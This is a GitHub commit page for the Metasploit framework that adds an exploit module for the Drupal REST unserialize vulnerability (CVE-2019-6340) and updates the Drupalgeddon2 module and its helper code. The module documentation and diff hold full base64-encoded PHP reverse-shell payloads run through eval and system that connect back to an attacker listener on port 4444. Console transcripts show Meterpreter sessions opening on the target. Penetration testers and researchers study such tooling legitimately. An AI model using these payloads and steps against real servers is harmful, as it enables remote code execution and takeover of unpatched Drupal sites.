Skip to content

Commit

Permalink
Land #11481, Drupal SA-CORE-2019-003/CVE-2019-6340
Browse files Browse the repository at this point in the history
  • Loading branch information
wvu committed Mar 6, 2019
2 parents b3073ac + 0de69e7 commit 6ff1882
Show file tree
Hide file tree
Showing 7 changed files with 399 additions and 30 deletions.
Expand Up @@ -89,13 +89,15 @@ msf5 exploit(unix/webapp/drupal_drupalgeddon2) > check
[*] Drupal 7 targeted at http://172.17.0.3/
[+] Drupal appears unpatched in CHANGELOG.txt
[*] Executing with printf(): sdHl4fLONOKfVZL1cEvXuJCuSkue
[+] Drupal is vulnerable to code execution
[+] 172.17.0.3:80 The target is vulnerable.
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > run
[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Drupal 7 targeted at http://172.17.0.3/
[+] Drupal appears unpatched in CHANGELOG.txt
[*] Executing with printf(): paAHBb9jyovEnLrrT5lMIB
[+] Drupal is vulnerable to code execution
[*] Executing with assert(): eval(base64_decode(Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzE3Mi4xNy4wLjEnOyAkcG9ydCA9IDQ0NDQ7IGlmICgoJGYgPSAnc3RyZWFtX3NvY2tldF9jbGllbnQnKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZigidGNwOi8veyRpcH06eyRwb3J0fSIpOyAkc190eXBlID0gJ3N0cmVhbSc7IH0gaWYgKCEkcyAmJiAoJGYgPSAnZnNvY2tvcGVuJykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoJGlwLCAkcG9ydCk7ICRzX3R5cGUgPSAnc3RyZWFtJzsgfSBpZiAoISRzICYmICgkZiA9ICdzb2NrZXRfY3JlYXRlJykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoQUZfSU5FVCwgU09DS19TVFJFQU0sIFNPTF9UQ1ApOyAkcmVzID0gQHNvY2tldF9jb25uZWN0KCRzLCAkaXAsICRwb3J0KTsgaWYgKCEkcmVzKSB7IGRpZSgpOyB9ICRzX3R5cGUgPSAnc29ja2V0JzsgfSBpZiAoISRzX3R5cGUpIHsgZGllKCdubyBzb2NrZXQgZnVuY3MnKTsgfSBpZiAoISRzKSB7IGRpZSgnbm8gc29ja2V0Jyk7IH0gc3dpdGNoICgkc190eXBlKSB7IGNhc2UgJ3N0cmVhbSc6ICRsZW4gPSBmcmVhZCgkcywgNCk7IGJyZWFrOyBjYXNlICdzb2NrZXQnOiAkbGVuID0gc29ja2V0X3JlYWQoJHMsIDQpOyBicmVhazsgfSBpZiAoISRsZW4pIHsgZGllKCk7IH0gJGEgPSB1bnBhY2soIk5s.ZW4iLCAkbGVuKTsgJGxlbiA9ICRhWydsZW4nXTsgJGIgPSAnJzsgd2hpbGUgKHN0cmxlbigkYikgPCAkbGVuKSB7IHN3aXRjaCAoJHNfdHlwZSkgeyBjYXNlICdzdHJlYW0nOiAkYiAuPSBmcmVhZCgkcywgJGxlbi1zdHJsZW4oJGIpKTsgYnJlYWs7IGNhc2UgJ3NvY2tldCc6ICRiIC49IHNvY2tldF9yZWFkKCRzLCAkbGVuLXN0cmxlbigkYikpOyBicmVhazsgfSB9ICRHTE9CQUxTWydtc2dzb2NrJ10gPSAkczsgJEdMT0JBTFNbJ21zZ3NvY2tfdHlwZSddID0gJHNfdHlwZTsgaWYgKGV4dGVuc2lvbl9sb2FkZWQoJ3N1aG9zaW4nKSAmJiBpbmlfZ2V0KCdzdWhvc2luLmV4ZWN1dG9yLmRpc2FibGVfZXZhbCcpKSB7ICRzdWhvc2luX2J5cGFzcz1jcmVhdGVfZnVuY3Rpb24oJycsICRiKTsgJHN1aG9zaW5fYnlwYXNzKCk7IH0gZWxzZSB7IGV2YWwoJGIpOyB9IGRpZSgpOw));
[*] Sending stage (37775 bytes) to 172.17.0.3
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.3:46654) at 2018-04-24 23:25:17 -0500
Expand Down
@@ -0,0 +1,71 @@
## Intro

This module exploits a PHP `unserialize()` vulnerability in Drupal RESTful
Web Services by sending a crafted request to the `/node` REST endpoint.

As per [SA-CORE-2019-003], the initial remediation was to disable `POST`,
`PATCH`, and `PUT`, but Ambionics [discovered] that `GET` was also vulnerable
(albeit cached).

Drupal updated [SA-CORE-2019-003] with [PSA-2019-02-22] to notify users of
this alternate vector.

[SA-CORE-2019-003]: https://www.drupal.org/sa-core-2019-003
[PSA-2019-02-22]: https://www.drupal.org/psa-2019-02-22
[discovered]: https://www.ambionics.io/blog/drupal8-rce

Drupal < 8.5.11 and < 8.6.10 are vulnerable.

## Setup

`docker run -dp 80:80 drupal:8.6.9` and enable the HAL, HTTP Basic
Authentication, RESTful Web Services, and Serialization modules at
`/admin/modules`.

Clear all caches at `/admin/config/development/performance` to repeat
exploitation if targeted nodes are cached.

## Targets

```
Id Name
-- ----
0 PHP In-Memory
1 Unix In-Memory
```

## Options

**METHOD**

Set this to the HTTP method to use. `POST` and `GET` (cached) are known
to work.

**NODE**

Set this to a node ID on the target when using the `GET` method.

## Usage

```
msf5 exploit(unix/webapp/drupal_restws_unserialize) > run
[*] Started reverse TCP handler on 192.168.1.2:4444
[*] Drupal 8 targeted at http://127.0.0.1/
[!] CHANGELOG.txt no longer contains patch level
[*] Executing with system(): echo 2oZashoKJTvVkPgkVLcTaehAdiv
[*] Sending POST to /node with link http://127.0.0.1/rest/type/shortcut/default
[+] Drupal is vulnerable to code execution
[*] Executing with system(): php -r 'eval(base64_decode(Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzE5Mi4xNjguMS4yJzsgJHBvcnQgPSA0NDQ0OyBpZiAoKCRmID0gJ3N0cmVhbV9zb2NrZXRfY2xpZW50JykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoInRjcDovL3skaXB9OnskcG9ydH0iKTsgJHNfdHlwZSA9ICdzdHJlYW0nOyB9IGlmICghJHMgJiYgKCRmID0gJ2Zzb2Nrb3BlbicpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKCRpcCwgJHBvcnQpOyAkc190eXBlID0gJ3N0cmVhbSc7IH0gaWYgKCEkcyAmJiAoJGYgPSAnc29ja2V0X2NyZWF0ZScpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKEFGX0lORVQsIFNPQ0tfU1RSRUFNLCBTT0xfVENQKTsgJHJlcyA9IEBzb2NrZXRfY29ubmVjdCgkcywgJGlwLCAkcG9ydCk7IGlmICghJHJlcykgeyBkaWUoKTsgfSAkc190eXBlID0gJ3NvY2tldCc7IH0gaWYgKCEkc190eXBlKSB7IGRpZSgnbm8gc29ja2V0IGZ1bmNzJyk7IH0gaWYgKCEkcykgeyBkaWUoJ25vIHNvY2tldCcpOyB9IHN3aXRjaCAoJHNfdHlwZSkgeyBjYXNlICdzdHJlYW0nOiAkbGVuID0gZnJlYWQoJHMsIDQpOyBicmVhazsgY2FzZSAnc29ja2V0JzogJGxlbiA9IHNvY2tldF9yZWFkKCRzLCA0KTsgYnJlYWs7IH0gaWYgKCEkbGVuKSB7IGRpZSgpOyB9ICRhID0gdW5wYWNrKCJO.bGVuIiwgJGxlbik7ICRsZW4gPSAkYVsnbGVuJ107ICRiID0gJyc7IHdoaWxlIChzdHJsZW4oJGIpIDwgJGxlbikgeyBzd2l0Y2ggKCRzX3R5cGUpIHsgY2FzZSAnc3RyZWFtJzogJGIgLj0gZnJlYWQoJHMsICRsZW4tc3RybGVuKCRiKSk7IGJyZWFrOyBjYXNlICdzb2NrZXQnOiAkYiAuPSBzb2NrZXRfcmVhZCgkcywgJGxlbi1zdHJsZW4oJGIpKTsgYnJlYWs7IH0gfSAkR0xPQkFMU1snbXNnc29jayddID0gJHM7ICRHTE9CQUxTWydtc2dzb2NrX3R5cGUnXSA9ICRzX3R5cGU7IGlmIChleHRlbnNpb25fbG9hZGVkKCdzdWhvc2luJykgJiYgaW5pX2dldCgnc3Vob3Npbi5leGVjdXRvci5kaXNhYmxlX2V2YWwnKSkgeyAkc3Vob3Npbl9ieXBhc3M9Y3JlYXRlX2Z1bmN0aW9uKCcnLCAkYik7ICRzdWhvc2luX2J5cGFzcygpOyB9IGVsc2UgeyBldmFsKCRiKTsgfSBkaWUoKTs));'
[*] Sending POST to /node with link http://127.0.0.1/rest/type/shortcut/default
[*] Sending stage (38247 bytes) to 192.168.1.2
[*] Meterpreter session 1 opened (192.168.1.2:4444 -> 192.168.1.2:55653) at 2019-03-05 19:26:37 -0600
meterpreter > getuid
Server username: www-data (33)
meterpreter > sysinfo
Computer : 11f5c33da9ec
OS : Linux 11f5c33da9ec 4.9.93-linuxkit-aufs #1 SMP Wed Jun 6 16:55:56 UTC 2018 x86_64
Meterpreter : php/linux
meterpreter >
```
16 changes: 9 additions & 7 deletions lib/msf/core/constants.rb
Expand Up @@ -75,19 +75,19 @@ module Msf
#

# Modules leaves payload or a dropper on the target machine
ARTIFACTS_ON_DISK = 'artifacts-on-disk'
ARTIFACTS_ON_DISK = 'artifacts-on-disk'
# Module modifies some config file on the target machine
CONFIG_CHANGES = 'config-changes'
CONFIG_CHANGES = 'config-changes'
# Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log)
IOC_IN_LOGS = 'ioc-in-logs'
IOC_IN_LOGS = 'ioc-in-logs'
# Module may cause account lockouts (likely due to brute-forcing)
ACCOUNT_LOCKOUTS = 'account-lockouts'
ACCOUNT_LOCKOUTS = 'account-lockouts'
# Module may show something on the screen (Example: a window pops up)
SCREEN_EFFECTS = 'screen-effects'
SCREEN_EFFECTS = 'screen-effects'
# Module may cause a noise (Examples: audio output from the speakers or hardware beeps)
AUDIO_EFFECTS = 'audio-effects'
AUDIO_EFFECTS = 'audio-effects'
# Module may produce physical effects (Examples: the device makes movement or flashes LEDs)
PHYSICAL_EFFECTS = 'physical-effects'
PHYSICAL_EFFECTS = 'physical-effects'

#
# Reliability
Expand All @@ -97,6 +97,8 @@ module Msf
FIRST_ATTEMPT_FAIL = 'first-attempt-fail'
# The module is expected to get a shell every time it fires
REPEATABLE_SESSION = 'repeatable-session'
# The module isn't expected to get a shell reliably (such as only once)
UNRELIABLE_SESSION = 'unreliable-session'

module HttpClients
IE = "MSIE"
Expand Down
18 changes: 18 additions & 0 deletions lib/msf/core/exploit/http/drupal.rb
Expand Up @@ -68,6 +68,24 @@ def drupal_changelog(version)
res.body
end

# Check CHANGELOG.txt for patch level
#
# @param changelog [String] CHANGELOG.txt to search
# @param patch [String] Patch to check for (example: SA-CORE-2019-003)
# @return [Boolean, nil] Whether or not the patch was found or unknown
def drupal_patch(changelog, patch)
return unless changelog && patch

# HACK: Patch level removed since undetermined 8.x release
if changelog.include?('For a full list of fixes in the latest release')
return nil
elsif changelog.include?(patch)
return true
end

false
end

# Match a Drupal version
#
# @param string [String] String to match against
Expand Down
2 changes: 1 addition & 1 deletion modules/auxiliary/scanner/ssh/libssh_auth_bypass.rb
Expand Up @@ -63,7 +63,7 @@ def check_banner(ip, version)
if v.nil?
vprint_error("#{ip}:#{rport} - #{version} does not appear to be libssh")
Exploit::CheckCode::Unknown
elsif v == Gem::Version.new('')
elsif v.to_s.empty?
vprint_warning("#{ip}:#{rport} - libssh version not reported")
Exploit::CheckCode::Detected
elsif v.between?(Gem::Version.new('0.6.0'), Gem::Version.new('0.7.5')) ||
Expand Down
54 changes: 32 additions & 22 deletions modules/exploits/unix/webapp/drupal_drupalgeddon2.rb
Expand Up @@ -122,7 +122,7 @@ def initialize(info = {})
]
],
'DefaultTarget' => 0, # Automatic (PHP In-Memory)
'DefaultOptions' => {'WfsDelay' => 2}, # Wait between and after attempts
'DefaultOptions' => {'WfsDelay' => 2}, # Also seconds between attempts
'Notes' => {'AKA' => ['SA-CORE-2018-002', 'Drupalgeddon 2']}
))

Expand All @@ -138,41 +138,52 @@ def initialize(info = {})
end

def check
checkcode = CheckCode::Safe
checkcode = CheckCode::Unknown

@version = target['Version'] || drupal_version

if @version
print_status("Drupal #{@version} targeted at #{full_uri}")
checkcode = CheckCode::Detected
else
print_error('Could not determine Drupal version to target')
return CheckCode::Unknown
unless @version
vprint_error('Could not determine Drupal version to target')
return checkcode
end

vprint_status("Drupal #{@version} targeted at #{full_uri}")
checkcode = CheckCode::Detected

changelog = drupal_changelog(@version)

if changelog && changelog.include?('SA-CORE-2018-002')
print_warning('Drupal appears patched in CHANGELOG.txt')
elsif changelog
print_good('Drupal appears unpatched in CHANGELOG.txt')
unless changelog
vprint_error('Could not determine Drupal patch level')
return checkcode
end

case drupal_patch(changelog, 'SA-CORE-2018-002')
when nil
vprint_warning('CHANGELOG.txt no longer contains patch level')
when true
vprint_warning('Drupal appears patched in CHANGELOG.txt')
checkcode = CheckCode::Safe
when false
vprint_good('Drupal appears unpatched in CHANGELOG.txt')
checkcode = CheckCode::Appears
else
print_error('Could not determine Drupal patch level')
end

# NOTE: Exploiting the vuln will move us from "Safe" to Vulnerable
token = rand_str
res = execute_command(token, func: 'printf')

if res && res.body.start_with?(token)
return checkcode unless res

if res.body.start_with?(token)
vprint_good('Drupal is vulnerable to code execution')
checkcode = CheckCode::Vulnerable
end

checkcode
end

def exploit
if check == CheckCode::Safe && datastore['ForceExploit'] == false
if check == CheckCode::Safe && !datastore['ForceExploit']
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
end

Expand Down Expand Up @@ -298,13 +309,12 @@ def execute_command(cmd, opts = {})
exploit_drupal8(func, cmd)
end

if res && res.code != 200
print_error("Unexpected reply: #{res.inspect}")
return
end
return unless res

if res && datastore['DUMP_OUTPUT']
print_line(res.body)
if res.code == 200
print_line(res.body) if datastore['DUMP_OUTPUT']
else
print_error("Unexpected reply: #{res.inspect}")
end

res
Expand Down

0 comments on commit 6ff1882

Please sign in to comment.